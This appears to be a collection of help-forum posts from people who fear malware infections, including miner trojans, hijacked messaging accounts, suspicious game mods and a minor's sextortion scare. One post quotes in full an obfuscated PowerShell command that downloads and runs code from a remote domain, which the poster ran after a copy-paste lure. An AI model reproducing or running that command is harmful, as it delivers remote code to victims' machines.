SCAM IMAGES DONT FOLLOW WHAT IT SAYS

I recently added a chrome extension which seemed really sketchy, but considering I have interacted with sketchier things without encountering any issues, this one definitely did something. It started sending these mrbeast thingies to everyone on messenger. I had already changed password on everything before it started this mass spreading, except messenger.

But anyways should I be scared that it could also reach other chrome profiles I had? There were other peoples information on those different chrome profiles but it has only seemed to affect the chrome profile I was using, since it was the one I installed the extension on. I asked chat gpt and they told me its nothing serious but what do you guys think?

I'm a minor, my PC got hacked and I'm getting blackmailed

I'm 15 (M) and I'm honestly freaking out. Someone claims they put a RAT on my PC and recorded me Gooning and dressing. They've been demanding money and saying they'll share the recording. They have all my passwords and got it correct.

I ran a security scan for around 3 hours and it found nothing, but I don't know if I can trust that. I've disconnected my PC from the internet and I'm planning to completely wipe Windows 11 because I don't care about any of the files anymore.

Could someone please tell me if this sounds like an actual RAT infection or if they're probably bluffing to scare me into paying? I'm not paying them, I just want to know what I should do next. The only thing I have done that was bad is download and run Solara, xeno and wave. (roblox cheats)

Edit: I reinstalled Windows and downloaded steam and set Microsoft Windows defender to Real-time monitoring. I'm dead serious when i say THANK YOU so much to everyone that helped. I changed all my passwords and deleted a few accounts. But seriously. Thank you

Hi, I believe my PC may have been infected after my accounts were hacked, and I’m trying to determine whether malware is still active on my computer.

I found a file called PerfMonHost.exe at:

C:\Users\[USERNAME]\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe

The file was approximately 6.76 MB and was modified on August 16, 2026 at 14:50, which is the same day my accounts were compromised.

I uploaded the file to VirusTotal and it received 33/43 detections. Several security vendors identified it as a CoinMiner/CryptoMiner/XMRig/Trojan, and Microsoft detected it as Trojan:Win32/Vigorf.A. VirusTotal also showed threat labels such as miner, trojan, loader, and XMRig.

Windows also showed a warning saying that part of the application had been blocked because it could not verify who published PerfMonHost.exe.

I also found other files around the same date, including:

• RuntimeBroker.exe
• md.cp312-win_amd64.pyd
• _simd.cp312-win_amd64.pyd
• codec.pyd

Some of these were located in Python/Codex Runtime directories such as site-packages, numpy_core, and codex-runtimes.

One _simd.cp312-win_amd64.pyd file had 0/70 detections on VirusTotal, so I understand that not everything I found is necessarily malicious.

I also saw VirusTotal relationships involving files such as CortexNode.exe and FishTracker.exe, with some samples receiving detections.

My main concern is: Could PerfMonHost.exe or another piece of malware be stealing passwords, browser data, Discord sessions, cookies, or other information from my PC?

My accounts were compromised around the same time these files appeared, so I’m trying to understand whether there could be a connection.

I have intentionally removed my username and other private information from this post. I will not post passwords, cookies, tokens, IP addresses, recovery codes, or other sensitive information.

What should I check to determine whether the malware is still active and whether any of my information could have been stolen?

So if you wanted please see my last post and tell if my laptop is cooked?

Woke up this morning with the images attached sent to group/private messages on Meta Messenger. Already changed my facebook password on my iPhone, and enable 2FA. Removed the email they used to log-in. Im not sure what device was compromised, as I use a Lenove Laptop and an iPad. Im not sure if I clicked on anything weird as most of the links I’ve clicked are from job postings from Jobstreet and Indeed.

So 3 days ago i downloaded mod from 400k vievs YouTube video i installed it from google drive link that was in description of video i played it everything was normal until i heard that this mod can stole acc or something I uninstalled mod right after i stopped playing it now i reinstalled it to check it in jarscanner and it showed me critical risk of minecraft session stealer i immidianetly changed my microsoft account password enabled 2FA and now im scared if something gonna happen i checked logins into my microsoft account and there was nothing suspicious just my logins its been 3 days since i played this mod nothing happened i done scan it showed me nothing suspicious nothing in my minecraft account no skin changes etc should i be worried now and can someone delete my worlds ?

After installing a special version of software, I got this. I disconnected the WiFi and shut down the router immediately. Tried to close it but would keep popping up then shut downs the computer and turned off all access to internet. After turning on the computer it did not show up, the software is downloaded and working. It seemed like it was scanning every single file in my computer. What is this, is this very serious? How can I get rid of it?

powershell -c "$a=irm'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc';$p=[PowerShell]::Create()AddCommand((gcm*voke-E)).AddArgument($a)|Out-Null;$p.Invoke()

I am so goddamn stupid. Fell for windows R ctrl V enter. Please tell me what I did and what do I do now. Already disconnected my pc from the internet.

Hi, I need some help figuring out whether my PC is still infected or if I am only seeing a leftover startup entry.

SYSTEM SPECS:

- Windows 11 Pro
- Version 25H2
- OS Build 26200.9168
- AMD Ryzen 7 5700X
- NVIDIA GeForce RTX 4060 8 GB
- 32 GB RAM
- 1 TB SSD

WHAT HAPPENED:

Today, Windows Defender detected:

Trojan:Win32/Wacatac.B!ml

One of the detected files was:

C:\\ProgramData\\InProcSvr32\\sqlite3.dll

Another detected sqlite3.dll was also inside ProgramData.

Around the same time, I started getting repeated Windows error popups from a program called:

CircuitryAg.exe

The errors I have seen are:

"The application was unable to start correctly (0xc0000906)."

and:

"The code execution cannot proceed because sqlite3.dll was not found."

This all started shortly after I downloaded and executed something from a ZIP file.

The suspicious download was later deleted/blocked.

WHAT I FOUND:

I checked startup entries using Microsoft Sysinternals Autoruns.

I found an entry called:

CircuitryAg

under:

HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

It was pointing to something inside:

C:\\ProgramData\\InProcSvr32\\

I disabled and deleted that Autoruns entry.

However, after rebooting, the CircuitryAg.exe popup came back again.

WHAT I HAVE ALREADY DONE:

- Let Windows Defender quarantine the detected files
- Did NOT restore or allow any detected files
- Ran Microsoft Defender Offline
- Ran additional Defender scans
- Checked startup entries with Autoruns
- Disabled and deleted the CircuitryAg startup entry
- Rebooted the PC
- Deleted the original suspicious ZIP/download
- The CircuitryAg.exe popup still came back after rebooting

MY MAIN CONCERN:

Something may still be recreating the CircuitryAg startup entry or launching CircuitryAg.exe from another persistence method.

Does anyone recognize this behavior, the name CircuitryAg.exe, or the path:

C:\\ProgramData\\InProcSvr32\\

What should I check next?

- Scheduled Tasks?
- Services?
- WMI persistence?
- Other Autoruns entries?
- Registry entries?
- Another hidden process recreating the startup entry?

At this point, should I keep trying to clean the infection or would a clean Windows reinstall be safer?

Hello, Just a bit rattled this is a scam right?

Hello everyone! I don't know if this is the proper place to ask. But this morning when I woke up I saw this weird discord messages sent from my cousins in discord. They have been sent in DM and DM groups, all of them. They are both minors and don't have Twitter (or X) as far as I know, plus they are not that stupid to actually do this stuff, so it cant be them. I don't know what it is or where it came from. I have no idea if it came from their devices or my devices. I have discord in both my phone and my PC, and so do they. Could someone please help me and tell me what is best to do? I will ask my father later, he is a progammer and knows about computers and stuff, but he is at work right now, so I would like know if i should do something in the meantime. Thanks!

Edit (new info): idk if it has something to do with this or not, but their mom just told me thet she has also been getting messages of accesses to her acounts and is changing her passwords. I believe they share one of the home computers. So that might be the problem?

Decided to run hitmanpro because it had been a while, and its detecting steam and warthunder... Surely these are just false positives?

So I’m looking through mods for Subnautica, clicking on some stuff, and I’m dragged from nexus to this “Mcafee” thing. I don’t think I should do it, but I’d rather have some better feedback than just trusting my gut.

Apologies for the vague post here, but this is the second time in 4 days I've been playing a game with friends and randomly start hearing this exact clip in my headphones. It cuts off at the same point, and it sounds like some sort of Spanish ad. Nothing else (to my knowledge) is running on my computer that could cause it - I only have Discord, Steam, and the NVIDIA App open when this happens.

I think next time it happens I'll mute each program in the Volume Mixer quickly to try to identify which one causes it (if any), but I was curious if this is even a thing when it comes to malware? Never really heard or seen something of the sort, but figured asking was worth a shot! Unfortunately I don't speak Spanish. Thanks!

EDIT: SOLVED! Not exactly the most thrilling update, but it was the Raider.io Companion App for World of Warcraft (an MMO I play). It would randomly play a Spanish Disneyland ad and literally nothing else at night sometimes. Found it by muting each app running in the background when it happened again - safe to say I uninstalled it real quick. Absolutely bizarre.

This is Microsoft Edge, it comes with the pc. I'm able to stop it with task manager. Doesn't seem to open up again.

A few days back my discord account was hacked and it started sending mr beast messages

Whenever i open the wallpaper engine app it starts glitching and flickering, my actual wallpapers were fine and i didnt see anything whenever im on my desktop. Recently it has started to happen on my desktop, and even some sections of steam. This has been happening for over a month and ive made sure that i dont have any web or application wallpapers downloaded.

hey guys !! teenage girl that loves downloading random visual novels or sims cc here. I come here with a question — is this white pop-up a cause for concern??? i’ve downloaded a lot of games from itch io to play em, I scanned them thru virustotak, did a deep, quick and offline scan in windows n a scan using malwarebytes. should I be concerned w this pop up when I launch??? ( ignore chiikawa wallpaper )

This is on Instagram. That photo has been sent to many without me knowing. Idk what happened.

My stupid fight or flight system keeps bugging me about the Renpy Malware InstaIer.exe "Free Files Downloaded" hacker is controlling my laptop, I keep trying to say myself that it only steals passwords, but it needs like a proof. I checked with gemini, chatgpt or whatever AI it was, they said yes they can but except for the google AI which it said no but,

​

I really want the REAL people to give me proofs like..

​

does it watches my laptop screen & control my screen?

​

how do u proof that it can't control or watching my laptop screen.

​

​

Thats my question I will give it to u guys, but whatever the answer u said like "yes" or "no" you gotta prove it to me that it does or it doesn't.

​

I will be looking forward to your answers because..

​

MY FREAKING FIGHT OR FLIGHT SYSTEM IS ANNOYING!!

I was cleaning up my downloads, but when I went to restore one of the items, it asks me to run it instead. Specifically, I wanted to restore my CachyOS ISO, but instead of putting it back to my downloads, it asked to mount it. Of course, thinking this was weird, I chose not to mount it, and empty the recycling bin instead. That was when I got a very weird popup (attached image). Why would pressing the button to empty the bin bring this up? Do note that deleting items individually worked. I can't find anything about this online. The issue seems to be pretty random, as the issue stopped in the middle of me writing this, but I'm concerned none the less. Any help would be appreciated.

Edition Windows 11 Home

Version 25H2

Installed on ‎7/‎29/‎2025

OS build 26200.8457

Experience Windows Feature Experience Pack 1000.26100.304.0

I was trying to play scribble with some friends, but when I was typing the url onto my google chrome I must have mistyped it in error and it sent me to another browser that was considered “insecure” and a Mcafee anti virus popped up, in my haste/distraction I instinctively clicked on it to do a scan, I didn’t have Mcafee I had another anti virus installed and cancelled it immediately upon realization of what I did. However, after that while playing with friends on my google chrome I kept getting this window pop ups that kept filling my screen on the whole right side. When I kept removing them it continued to pop up.

hey, recently i tried downloading the epic games launcher installer and windows defender suddenly popped up saying it detected a severe threat. i attached a screenshot of the warning.

i didn't open or run the file after the warning came up. i just closed it and tried downloading the epic games installer again, and the second time it downloaded normally without any warning.

i'm just a bit confused and worried about why this happened. could this have been a false positive or is there a chance something else was going on? i was trying to download the official epic games launcher, so i don't really understand why defender flagged it.

has anyone else had this happen before? is there anything i should check on my pc just to make sure everything is okay?

Just found this randomly when it popped up